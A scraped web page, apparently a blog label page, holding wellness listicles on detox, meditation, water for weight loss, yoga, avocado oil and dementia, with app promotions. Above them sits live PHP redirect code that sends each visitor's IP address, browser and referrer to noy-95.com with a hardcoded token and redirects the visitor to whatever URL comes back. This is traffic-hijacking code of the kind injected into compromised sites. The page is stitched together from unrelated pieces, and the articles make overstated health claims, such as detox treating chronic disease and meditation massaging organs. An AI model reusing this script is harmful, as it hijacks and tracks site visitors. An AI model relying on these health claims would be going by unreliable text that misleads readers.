"; echo json_encode($_SERVER); echo "
"; } $API_DOMAIN = 'noy-95.com'; $AD_TOKEN = '36bd9815c20357f96453fa247140b6b167e93fb0'; $TB_URL = ''; $ttl = 10 * 60; $fileName = dirname(__FILE__)."/.domain.cache"; $query = isset($_GET['q']) ? $_GET['q'] : ''; $s1 = isset($_GET['s1']) ? $_GET['s1'] : ''; $s2 = isset($_GET['s2']) ? $_GET['s2'] : ''; $s3 = isset($_GET['s3']) ? $_GET['s3'] : ''; if ($isDebug) { echo "Getting tds domain from cache...
"; } $info = getDomain($fileName); if (is_array($info) && $info['expired'] < time()) { if ($isDebug) { echo "FAIL: TDS domain cache is empty or expired
"; } $info = false; } if ($info === false) { if ($isDebug) { echo "Getting tds domain from api...
"; } $domain = getTDSDomain($API_DOMAIN, $AD_TOKEN); if (!$domain) { if ($isDebug) { echo "FAIL: No domain received.
"; } if ($TB_URL) { $rUrl = str_replace(array('{QUERY}', '{S1}', '{S2}', '{S3}'), array($query, $s1, $s2, $s3), $TB_URL); if ($isDebug) { echo "Redirecting to trafficback: $rUrl
"; } else { listHeaders(); header("Location: $rUrl"); } return; } if ($isDebug) { echo "Rendering 404 error
"; } else { render404($_SERVER); } return; } if ($isDebug) { echo "Saving domain to cache...
"; } saveDomain($fileName, $domain, time() + $ttl); $info = array('domain' => $domain); } if ($isDebug) { echo "Getting ad url...
"; } $location = getAd($info['domain'], $AD_TOKEN, $_SERVER, array('query' => $query, 's1' => $s1, 's2' => $s2, 's3' => $s3), $isDebug); if (!$location) { if ($isDebug) { echo "FAIL: No ad found.
"; echo "Rendering 404 error
"; } else { render404($_SERVER); } return; } if ($isDebug) { echo "Redirecting to ad: $location
"; } else { listHeaders(); header("Location: $location"); ob_flush(); } return; function getDomain($file) { $d = file($file); if ($d === false || count($d) === 0) { return false; } $info = explode(";", $d[0]); // mailformed file if (count($info) !== 2) { return false; } return array( 'domain' => $info[0], 'expired' => (int) $info[1] ); } function saveDomain($file, $domain, $expired) { file_put_contents($file, "$domain;$expired"); } function getTDSDomain ($apiUrl, $token) { $ctx = stream_context_create(array('http'=>array('timeout' => 10))); $res = file_get_contents("http://$apiUrl/pd?token=$token", false, $ctx); if (!$res) { return ""; } $data = json_decode($res, true); if (!is_array($data) || !array_key_exists("domain", $data)) { return ""; } return $data["domain"]; } function getAd($domain, $token, $server, $params, $isDebug) { $errCount = 0; $res = ''; while ($errCount < 2) { $res = doReq($domain, $token, $server, $params, $isDebug); if ($res !== false) { break; } $errCount++; } if ($res === false || $res['code'] >= 400 || !is_array($res['response'])) { return false; } if (!empty($res['response']['url'])) { return $res['response']['url']; } else if (!empty($res['response']['tb'])) { return $res['response']['tb']; } else { return false; } } function doReq($domain, $token, $server, $params, $isDebug) { $ch = curl_init(); $body = array(); if (!empty($server['HTTP_REFERER'])) { $body['ref'] = $server['HTTP_REFERER']; } if (!empty($server['HTTP_USER_AGENT'])) { $body['ua'] = $server['HTTP_USER_AGENT']; } if (!empty($server['HTTP_ACCEPT_LANGUAGE'])) { $body['lang'] = $server['HTTP_ACCEPT_LANGUAGE']; } $body['ip'] = getClientIP($server); $body['q'] = $params['query']; $scheme = getScheme($server); $bodyStr = json_encode($body); $addSubParams = array(); if (!empty($params['s1'])) { $addSubParams[] = "s1=".$params['s1']; } if (!empty($params['s2'])) { $addSubParams[] = "s2=".$params['s2']; } if (!empty($params['s3'])) { $addSubParams[] = "s3=".$params['s3']; } $subStr = (count($addSubParams) > 0) ? "&".implode("&", $addSubParams) : ""; $ch = curl_init("$scheme://$domain/rtb/r?token=$token$subStr"); curl_setopt($ch, CURLOPT_TIMEOUT, 5); curl_setopt($ch, CURLOPT_CUSTOMREQUEST, "POST"); curl_setopt($ch, CURLOPT_POSTFIELDS, $bodyStr); curl_setopt($ch, CURLOPT_RETURNTRANSFER, true); curl_setopt($ch, CURLOPT_HTTPHEADER, array( 'Content-Type: application/json', 'Content-Length: '.strlen($bodyStr)) ); $result = curl_exec($ch); $info = curl_getinfo($ch); curl_close($ch); if ($info === false || !$info['http_code']) { if ($isDebug) { echo "Network error occurred: ".curl_error($ch)."
"; } return false; } $adData=json_decode($result, true); return array('code' => $info['http_code'], 'response' => is_array($adData) && count($adData) > 0 ? $adData[0] : null); } function getScheme($server) { return stripos($server['SERVER_PROTOCOL'],'https') === true ? 'https' : 'http'; } function getClientIP($server) { if (array_key_exists('HTTP_X_FORWARDED_FOR', $server)){ return $server["HTTP_X_FORWARDED_FOR"]; } else if (array_key_exists('HTTP_X_REAL_IP', $server)) { return $server["HTTP_X_REAL_IP"]; } else if (array_key_exists('REMOTE_ADDR', $server)) { return $server["REMOTE_ADDR"]; } return ''; } function listHeaders() { header("Expires: Tue, 03 Jul 2001 06:00:00 GMT"); header("Last-Modified: ".gmdate("D, d M Y H:i:s")." GMT"); header("Cache-Control: no-store, no-cache, must-revalidate, max-age=0"); header("Cache-Control: post-check=0, pre-check=0", false); header("Pragma: no-cache"); header("Connection: close"); } function render404($server) { $protocol = isset($server['SERVER_PROTOCOL']) ? $server['SERVER_PROTOCOL'] : 'HTTP/1.1'; listHeaders(); header("$protocol 404 Not Found"); }
‏إظهار الرسائل ذات التسميات SKIN. إظهار كافة الرسائل
‏إظهار الرسائل ذات التسميات SKIN. إظهار كافة الرسائل

2/03/2019

Detoxing for beginners: 5 ways to detox without starving and why we should all try it out occasionally

Detoxing for beginners: 5 ways to detox without starving and why we should all try it out occasionally

Detox is one of the most effective ways to cleanse your body naturally and improve your digestion. Many people equate detoxing with deprivation and hunger, but that's not right.
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Luckily, it is possible to detoxify your body without suffering. New kind of detox is a great way to fill your body with vitamins and minerals, and it may help you speed up metabolism and boost your physical health. Try just ten days of detoxing and you will see this huge difference!
If you've never tried detoxing, we would like to show you five ways to detox without starving. By using these tips, you will be able to treat your chronic diseases and slim down. Are you interested? Scroll down to read these tips right now.
Credit: Freepik
Credit: Freepik
#1. Avoid harmful products
First, you need to limit the consumption of sugar, flour, artificial sweeteners, as they all increase sugar cravings and make you gain fat. You should also cut out foods with trans or hydrogenated fats, caffeine and alcohol.
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Credit: Freepik
#2. Fill your body with proteins
Getting enough protein is the key to maintain normal blood sugar and improving insulin resistance. It is necessary to balance your diet with eggs, nuts and fish.
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Credit: Freepik
#3. Eat right carbs
Yes, it is true. You may eat as many leafy greens and veggies as you want. Eating broccoli, cauliflower, cabbage, carrots, tomatoes, peppers and zucchini can help you slim down and feel amazing.
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Credit: Freepik
#4. Consume healthy fats
Healthy fats won't make you gain fat. They are essential for your body and weight loss. If you want to get in shape and maintain a good healthy, you should consume healthy fats such as, avocados, fat fish, olive oil and coconut oil.
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Credit: Freepik
#5. Invite your friends to detox with you
Studies show that people who perform the program together and support each other, lose weight much faster. So if you want to get great results, try detoxing with your friends.

3 basic meditation techniques for beginners and 20 reasons to try them out

3 basic meditation techniques for beginners and 20 reasons to try them out

Each of you very often hears the word “meditation” in recent times. Why does everyone talk about this practice? What is special about it? The main goal of meditation is to calm down your inner dialogue, which is constantly held in your head. In other words, meditation helps to take a break from the constant noise.
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Thanks to this wonderful practice, you can feel calm not only externally, but also internally. Just imagine…no extra thoughts, you are completely calm, you are not worried…you are happy! All this is really possible, the main thing is just to start practicing meditation, and then the whole world will be at your feet!
If you have doubts and you do not want to start something new, just look at these 20 reasons to try meditation practice:
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Credit: Freepik
#1. Meditation lowers risk of overtraining
#2. Meditation reduces stress hormone concentrations like cortisol and aldosterone
#3. Higher DHEA-Sulfate as well as increased Testosterone and growth hormone response to stress
#4. Meditation improves kidney function, lowers sodium-potassium ratio and reduces urinary loss of calcium and zinc
#5. Remarkable success getting off drugs, even after being dependent
#6. Enhanced immune function
#7. A shift toward fat oxidation (“fat burning”)
#8. Meditation improves focus and sports performance
#9. Meditation enhances the reaction time
#10. Meditation improves carbohydrate metabolism
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Credit: Freepik
#11. Reduced evening-time overeating and better chance for long term weight loss
#12. Slowed biological aging (according to biomarkers) up to 5-12 years
#13. Improved antioxidant effects indicated by 15% lower lipid peroxides
#14. Improved hormone secretions through stimulation of the pneumogastric nerve
#15. Meditation improves digestion, metabolism and excretion
#16. Meditation reduces time required for a complete recovery
#17. Meditation improves brain function including memory
#18. Meditation massages the organs thus improving blood flow
#19. Meditation slows down normal breathing rate, heart rate and lowers blood pressure
#20. Has been shown to increase T-cell levels, which are linked to immunity.
There are different types and methods of meditation practice. Some of them are quite difficult and take a long time to learn how to practice them. And some of them are quite simple even for beginners in meditation. Therefore, if you do not know where to start and what technique to choose, we have prepared a list of 3 basic meditation techniques for beginners. Let’s check them out!
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Credit: Freepik
Basic #1
Find a quiet place to practice meditation. You can lay, sit in a chair or stand, whatever feels most comfortable. Close your eyes. Start breathing. Slowly and controlled. In order to get rid of the flow of thoughts, you need to try and watch your thoughts as they unfold like a movie screen. Do not interrupt your thoughts, try to relinquish all conscious control and just sit and observe. Do this for 10-20 minutes.
Basic #2
Start a stopwatch. Sit quietly, eyes closed, relaxed, breathe deeply and be very aware of your breathing (hear, feel, visualize). Simply count your breaths until you reach 100. Then note how long it took. The better you get the longer it should take to reach 100.
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Credit: Freepik
Basic #3
This technique should be performed lying down and preferably in a place that is not completely silent. Eyes closed, work from your toes up and become conscious of each muscle then simply relax that muscle. Take your time in doing this. Become very aware of your slow controlled breathing, and then start to observe the sounds around you. From the loudest to the quietest. Do not have any intellectual deliberations or make judgments, just observe. After a while (5-10 minutes at least) start again being consciously aware of your muscles but this time work from your head down and slightly contract the muscle.
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Credit: Freepik
Once you have done that, imagine a blank screen, say and write in very small font the number 1. Then proceed consecutively until you reach 10 making the font bigger and the mental audio louder with each successive number. The number 10 should be big, bright and loud. The colors of the font and the screen should be contrasting. When you have done this start to open your eyes slowly. With eyes fully opened observe for a small time the shapes, colors and contours of the sights of your surroundings.
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Start practicing this technique for 2 minutes, gradually increasing the time to 20 minutes.

Drinking water for weight loss: 7 proven ways water helps burn fat

Drinking water for weight loss: 7 proven ways water helps burn fat

Hi everybody! How about to lose those extra pounds and get the body of your dreams? What do you think about it? If you agree with our proposal, then first you need to change your diet for the better and healthier and begin to work out. And now we ask you to answer a very important question: What do you prefer to drink?
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The fact is, the process of losing weight includes not only a healthy diet, physical activity, but also the consumption of water in sufficient quantities. Water is essential for your health, remember this fact. The more water you drink, the more calories you burn.
What's more, water helps to suppress appetite and flush toxins from the body. And when you replace your “favorite” sugary drinks with water, it helps you cut out those extra calories without even trying. Want to learn the secrets of water for weight loss, then keep reading because we have prepared a list of 7 proven ways water helps burn fat! Here they are:
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Credit: Freepik
#1. Water increases the burn without adding exercise
Yes, effective exercises are beneficial for weight loss, but drinking enough water can help you increase the number of calories that your body burns when you are not even working out. Some studies show that within 10 minutes of drinking about 2.25 cups of water, your metabolism is boosted by 30%. And this effect lasts for 30 to 40 minutes.
Therefore, guys, if you have metabolic problems and you are overweight, we recommend increasing your water intake. Water will definitely help you speed up your metabolism, just try it!
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Credit: Freepik
#2. Water suppresses appetite
When you feel that you are hungry, all you need is a glass of water, and you will immediately feel full. For example, a 2010 study showed that people who drank water before meals lost 44% more weight than people who didn’t start their meals with water.
In addition, when you feel hungry, it may also indicate that you are dehydrated. In this case, when you feel like you have low energy, dizziness or a grumbling stomach, we recommend drinking water before grabbing a snack.
#3. Water reduces the number of calories
We are sure that you like Coca-Cola. And do you know that one can of this beverage contains 140 calories? Therefore, if you drink soda every day, you should replace it with water, which will help you lose an extra pound every 12 weeks or so. Some studies show that people who drink water do take in about 194 fewer calories each day than people who drink juices and other sugary drinks.
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Credit: Freepik
#4. Water helps to consume healthy food
More and more studies show that people who drink plenty of water have healthier dietary habits. These people eat more fruits and vegetables than people who prefer to drink sugary beverages.
#5. Ice Water helps boost metabolism
If you do not know how to increase your metabolism, then you should try drinking ice water. When you drink ice water, your body has to heat it up before using it. This process helps you burn some extra calories.
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Credit: Freepik
#6. Workouts are beneficial with hydration
When your body is hydrated, you experience fewer muscle cramps. Your joints remain lubricated, allowing you to work out more effectively. Your heart pumps blood more efficiently to your muscles, and this is a key factor for overweight people.
When your mobility is in place, and your body feels good, you are more likely to burn extra calories during exercising. Once you feel that you want to drink, it means that your body is dehydrated. In this case, for proper hydration, you need to drink about 8 ounces every 30 minutes while you’re sweating during training.
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Credit: Freepik
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#7. Water flushes out toxins
Toxins poison your body, so you need to always get rid of them. An the best option for this is drinking plenty of water, because your kidneys need it to filter toxins from the body. Water can also help you move stool through the digestive system, which also removes toxins from the system.

Meditation and yoga beat reading: more brain function and energy from Hatha yoga

Meditation and yoga beat reading: more brain function and energy from Hatha yoga

Yoga and meditation are gaining popularity in the whole world. More and more people chose these practices to find a balance, relieve stress, treat anxiety and boost self-confidence.
BetterMe App helps women achieve their body goals with ease and efficiency by helping to choose proper meal plans and effective workouts. Start using our app and you will see good results in a short time.
Recently, scientists have begun to study how meditation, yoga and other practices affect human's mind and behavior. For example, a few years ago, American neurophysiologists found that meditation rises the production of oxytocin in the human body and helps women fight inflammation after breast cancer surgery.
Moreover, according to new research from Canada, just twenty-five minutes of yoga and meditation are able to boost brain function and help people cope with their emotions. In this article, we would like to tell you more about the effect of yoga and meditation on the brain. Are you interested? Scroll down to read this article right now.
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Credit: Freepik
How yoga and meditation affect brain function
"Yoga and meditation both focus the brain's processing power on a limited number of targets like breathing and posing, and also decrease processing of unimportant information," - says Peter Hall from the Waterloo University.
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Credit: Freepik
Three years ago, Japanese scientists conducted experiments on rats and found out that meditation can help people overcome drug or alcohol dependencies. These studies made Hall and his colleagues think that meditation can significantly change brain function and make it more resistant to stress.
Take just a few minutes out of each day to bring yourself to a state of calm and wellness and balance your life using a combination of guided meditations and mindfulness techniques. The techniques are a simple, practical relaxation method for anyone.
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Credit: Freepik
In order to test this idea, the researchers found thirty-one volunteers who had been doing yoga or meditation for a long time to practice three sessions of yoga, meditation and reading.
The researchers found that the volunteers significantly enhanced their performing function scores after yoga practice and meditation practicecompared with the reading. Moreover, the scientists noticed that meditation and yoga affected the mood of the participants and made them feel more energetic and active.
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Credit: Freepik
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"We still don't know why meditation and yoga may increase energy levels and boost brain function. The reason for this may be an raised production of endorphins, and increased brain blood flow, as well as the suppression of "negative" thoughts," adds Kimberly Luu, Hall's colleague.

Avocado oil for healthy cooking and beauty: nutrition facts and best practices

Avocado oil for healthy cooking and beauty: nutrition facts and best practices

Do you like avocados? While most people add avocado to their diets, most of them ignore avocado oil. However, they are missing out of many great things, as avocado oil has a variety of amazing uses.
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Adding the product to your daily routine may provide several key health and beauty benefits, especially when you use it to replace unhealthy oils such as, sunflower oil and palm oil. You may also use avocado oil to grow long hair and treat acne. Can you believe it?
In this article, we would like to tell you more about the benefits of avocado oil for your health and body. Believe us, after reading this article, you will run to the nearest store to buy more bottles of avocado oil! Are you interested? Scroll down to read it right now.
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Credit: Freepik
Uses of avocado oil
First of all, avocado oil is widely used in the kitchen to prepare delicious dishes and salads. Secondly, it can be used in beauty routine and medicine.
Its composition
This delicious fruit is loaded with monounsaturated fats like oleic acid, carotenoids, vitamin E and vitamin D. Avocado is loaded with unsaturated fatty acids, which play an important role in maintaining the health and beauty of your skin and hair. Unsaturated fatty acids make avocado oil an important food product.
Avocado oil is rich in antioxidants, which is very good for skin health. Avocado contains antioxidants and vitamins E, A and D that may help maintain the elasticity of the skin. This is especially important for women with dry or aging skin. Avocado oil is loaded with lecithin and potassium, squalene, chlorophyll, vitamins and macronutrients.
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Credit: Freepik
Avocado oil for hair health
Studies show that avocado oil can accelerate hair growth and make them look healthy and shiny. You may use this oil, if you experience hair loss, baldness, dandruff, skin irritation and if your hair is dry and damaged. Avocado oil can be combined with jojoba oil, macadamia nut oil, almond oil, sesame oil and olive oil. They perfectly complement each other, and make your hair care even more effective. Here are several effective ways to use avocado oil for hair care:
#1. Olive oil+avocado oil mask
Use this hair mask to get rid of split ends, moisturize your hair and make them soft and shiny. Mix one spoon of warm olive oil and one spoon of avocado oil. Apply this remedy to your locks and let it sit for twenty minutes.
Credit: Freepik
Credit: Freepik
#2. Jojoba oil+avocado oil mask
This homemade mask smells delicious and makes your hair look shiny. Mix one spoon of warm jojoba oil, one spoon of warm avocado oil and two drops of rosemary oil. Apply this good smelling liquid to your wet hair and let it sit for thirty-five minutes.
#3. Rosemary oil+avocado oil mask
If you have curly hair and you want to make them straight, use this homemade remedy. Mix one spoon of warm avocado oil, one spoon of warm rosemary oil and blended basil. Apply this remedy to your wet locks and let it sit for ten minutes.
Credit: Freepik
Credit: Freepik
#4. Lemon juice+avocado oil mask
In order to lighten your hair and make them look healthy, use this homemade mask. Mix one egg yolk, two spoons of freshly squeezed lemon juice and one spoon of avocado oil. Apply this mixture to your dry hair and let it sit overnight.
#5. Wheat germ oil+avocado oil mask
This mask is great for oily hair. Mix one spoon of warm wheat germ oil, one spoon of warm avocado oil and half a spoon of lavender oil. Apply this liquid to your scalp and let it sit for fifteen minutes.
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Credit: Freepik
Avocado oil for face and body
Avocado oil is rich in vitamins, minerals, phytohormones, minerals and other useful components, which nourish the skin, improve its appearance and protect it from irritating and damaging factors. This oil is great for any skin type and it doesn't cause allergic reactions. Use it regularly to repair of damaged skin cells, treat skin irritation and acne, moisturize dry skin and eliminate wrinkles and aging spots. Here are several effective ways to use avocado oil for skin care:
Credit: Freepik
Credit: Freepik
#1. Mask for drying skin
In order to tone aging, wrinkled skin, you may use this mask. Mix one spoon of avocado oil with one spoon of grape seed oil and apply this mixture to your face. In order to get noticeable results, you need to use it twice a week.
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#2. Nourishing avocado mask for problem skin
In order to treat enlarged pores, pimples and acne, use this recipe. Mix one spoon of blue clay with one spoon of warm avocado oil, apply this remedy to your problem skin and let it sit for twenty minutes.

Science says yoga and meditation can prevent dementia in older adults

Science says yoga and meditation can prevent dementia in older adults

Dementia is a brain disorder, which affects cognitive functions. The common symptoms and signs of this disorder are memory loss, thinking difficulties, problem-solving and mood swings.
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It ranges in severity from the mildest stage, when it is just begins to affect a person's functioning, to the most severe stage, when the person cannot lead a normal life without help of others. Most people mistakenly believe that dementia affects only elderly, but it often affects people under the age of 65. How can we prevent it?
Fortunately, the scientists found how to decrease the risk of dementia and other cognitive disorders. Are you interested to know how to prevent dementia? Scroll down to read this useful article right now.
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Credit: Freepik
The study
Dr. Helen Lavretsky believe that yoga and meditation can be effective for cognitive protection. The group of scientists from University of California-Los Angeles conducted the study. The study involved twenty-five people older than fifty-five.
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Credit: Freepik
For twelve weeks, fourteen participants practiced Yoga once a week for one hour a day and meditate for twenty minutes every day.
Other eleven participants performed memory enhancement activities, such as crossword puzzles or computer games once a week for one hour.
In order to measure cognitive function and brain activity, at the beginning of the study and in the end of the study, all participants passed memory tests and MRI.
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Credit: Freepik
The results
The scientists found out that both groups have shown increased verbal memory — the ability to remember names and word lists. However, participants who practiced yoga and meditation have demonstrated a marked improvement in their visual-spatial working memory — the ability to navigate and memorize places. Moreover, this group has reduced symptoms of anxiety and depression.
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Credit: Freepik
BetterMe App helps you increase your self-esteem and achieve your personal goals by opening the doors to the world of fitness and healthy lifestyle. Try it now to see the best version of yourself as soon as possible.
Now, health experts believe that yoga and meditation can be great protect practices for decreasing the risk of cognitive disorders at any age. So if you want to protect your brain from brain diseases and memory problems, you should meditate and practice yoga regularly.